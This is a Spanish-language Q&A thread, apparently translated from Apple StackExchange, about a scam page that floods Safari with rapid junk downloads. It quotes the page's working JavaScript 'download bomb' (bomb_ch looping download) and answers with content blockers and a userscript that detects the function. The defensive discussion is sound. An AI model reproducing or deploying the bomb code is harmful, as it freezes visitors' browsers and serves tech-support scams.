Evite las descargas de spam en Safari

Fondo

Ha comenzado a aparecer una nueva página de spam en muchos sitios "cuestionables" (sitios de películas, etc.). Esta nueva página de spam se encuadra en la categoría de escaneos falsos, MacKeeper, "TIENES UN VIRUS", etc.

Problema

El problema con esta nueva página es que en lugar de tener una ventana emergente, la página en realidad inicia una descarga de archivos aleatorios de 2kb (no es dañino, solo contiene texto aleatorio) repetidamente cada ~1 ms. La carpeta de descarga se llena antes de que puedas cerrar la ventana y te quedan eliminando más de 1000 archivos. A diferencia de un problema similar en el que una página de spam muestra el cuadro de diálogo de impresión, hay muy poco tiempo para reaccionar.

Intentos fallidos de solución de problemas

  • Intenté bloquear la carpeta de descarga. Si bien impidió que las descargas... bueno... lo descargaran, aparece un cuadro de diálogo (ver imagen). Por lo general, podría descartar este cuadro de diálogo, pero dado que la descarga se intenta cada ~ 1 ms, aparece un nuevo cuadro de diálogo cada vez que intento descartar, lo que me impide cerrar la ventana.

  • Forzar el cierre de Safari, lo que detiene la descarga (después de las descargas de 1k) pero luego pierdo todas mis otras ventanas

  • Cambiar la configuración a 'Preguntar por cada descarga' en las preferencias de Safari. No funciona porque 1k de cuadros de diálogo separados abiertos me impiden incluso cerrar la pestaña. Eventualmente fallando Safari.

ingrese la descripción de la imagen aquí

ingrese la descripción de la imagen aquí

Pregunta

¿Cómo puedo evitar las descargas de spam en Safari?

ACTUALIZAR:

Aquí está el código que causa la descarga (lo obtuve al deshabilitar JavaScript y revisar el código manualmente):

 function download(g, h, j) {
                var k = new Blob([g], {
                        type: j
                });
                if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
                else {
                        var l = document.createElement("a"),
                                m = URL.createObjectURL(k);
                        l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
                }
        }
        function bomb_ch() {
                var g = Math.random().toString(36).substring(20),
                        h = Math.floor(50 * Math.random() + 25);
                while (true) download(h, g, g)
        }
        function ch_jam() {
                bomb_ch()
        }

Nota: Tuve algunos problemas al ejecutar el JS en una página personalizada. Se congeló en lugar de descargar. Pude emular la descarga usando una setInterval()función que llama a la downloadfunción.

Más información: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/

Los comentarios no son para una discusión extensa; esta conversación se ha movido a chat .
@JBis Casi ha llegado el momento de otorgar la recompensa
@ Matt Tengo otras 24 horas. Y no estoy otorgando ninguna respuesta en su forma actual.

Respuestas (2)

¿No sería este un buen caso para un bloqueador de contenido de Safari/bloqueador de javascript que sea selectivo?

Ghostery podría ser un buen lugar para comenzar en la Mac para ver si puede usar reglas preconstruidas para anular las secuencias de comandos entre sitios / la inyección de código en las páginas web. Por supuesto, si la página ofrece ese contenido directamente, deberá deshabilitar javascript en esa página por completo o tomar nota y simplemente bloquear aquellos sitios que arruinan su experiencia intencionalmente o debido a la venta de inyección de anuncios a cualquier persona con los medios para pagar este artículo de miedo y estafa.

Si quisiera ser más preciso, los scripts de usuario tipo GreaseMonkey podrían combatir esto con suficiente conocimiento de JS de su parte (o encontrando a alguien que escribió el script para bloquear la iteración actual de este malware).

Editado por @JBis

El siguiente script de usuario fue exitoso en el bloqueo de la página.

     // ==UserScript==
     // @name         The Bomb Squad
     // @version      0.1
     // @description  Blocks the pages containing any function with the bomb_ch function detailed in https://apple.stackexchange.com/questions/329594/prevent-spam-downloads-on-safari and https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/
     // @author       Josh Brown (@JBis https://apple.stackexchange.com/users/263848/jbis)
     // @match        *
     // @grant        none

    // ==/UserScript==

   if (typeof bomb_ch === "function") {
     document.getElementsByTagName("body")[0].innerHTML="<h1>Page Defused by The Bomb Squad</h1><p>Because it contatained the following
 function(s):  <pre>bomb_ch()</pre> <br>";
    }

Nota: los amantes de Sp(c) pueden omitir esto fácilmente al aleatorizar la bomb_ch()función.

Las versiones más nuevas del sistema operativo de Safari podrían ayudar a reducir esto un poco, pero las personas que entregan esta carga de basura a su Mac pueden ganar dinero, por lo que es probable que se adapten a cualquier tecnología que intente hacer que sea fácil de bloquear. A menos que esté dispuesto a gastar más dinero apoyando un negocio que mantiene una biblioteca de configuraciones que pueden "golpear a un topo" y adaptarse más rápido de lo que los charlatanes pueden inventar un nuevo código en su sala de calderas .

También tendrá que decidir si los sitios web que hacen esto también son charlatanes que son parte de la estafa , ya que deben saber que esto le está sucediendo a usted, uno de los visitantes que alojan.

@JBis Tampermonkey funciona si lo instala manualmente: omita 'Safari ya no es compatible con la extensión insegura' en macOS Mojave
@grg Grg ( el sonido ) tienes que volver a ejecutar cada reinicio del navegador :)

Si bien hay muchos bloqueadores de anuncios capaces para Safari, hay muchas menos opciones para bloqueadores de contenido basados ​​en extensiones de espectro más amplio. De ellos, solo dos se destacan: Ghostery y uBlockOrigin [ enlace de información: https://github.com/gorhill/uBlock enlace de descarga: https://safari-extensions.apple.com/?q=ublock%20origin .

EDITAR: No confunda uBlock Origin con el uBlock de nombre muy similar, . Los dos productos son sustancialmente diferentes en capacidad y reputación.

¿Pueden hacer lo que quieras y evitar el bombardeo de descargas que experimentaron tus amigos? Sí, con la distinción de que Ghostery necesitaría algunas reglas personalizadas donde uBlockOrigin está configurado para hacerlo de forma predeterminada.

Sé que uBlockOrigin bloqueó este exploit en particular un mes antes del anuncio de Malwarebytes en su enlace "Más información". No sé sobre la línea de tiempo de Ghostery.

Te recomiendo que les des una oportunidad a ambos.

Por favor , no elimine la respuesta. Todavía puede ayudar a otros. Continuaré haciendo pruebas para ver si la herramienta puede bloquear con una regla personalizada.
@JBis si desea colocar una URL en el chat que podamos eliminar más tarde, envíeme un ping allí. ¿Está diciendo que el único clic en "deshabilitar todo" de ghostery no lo protege de esta función?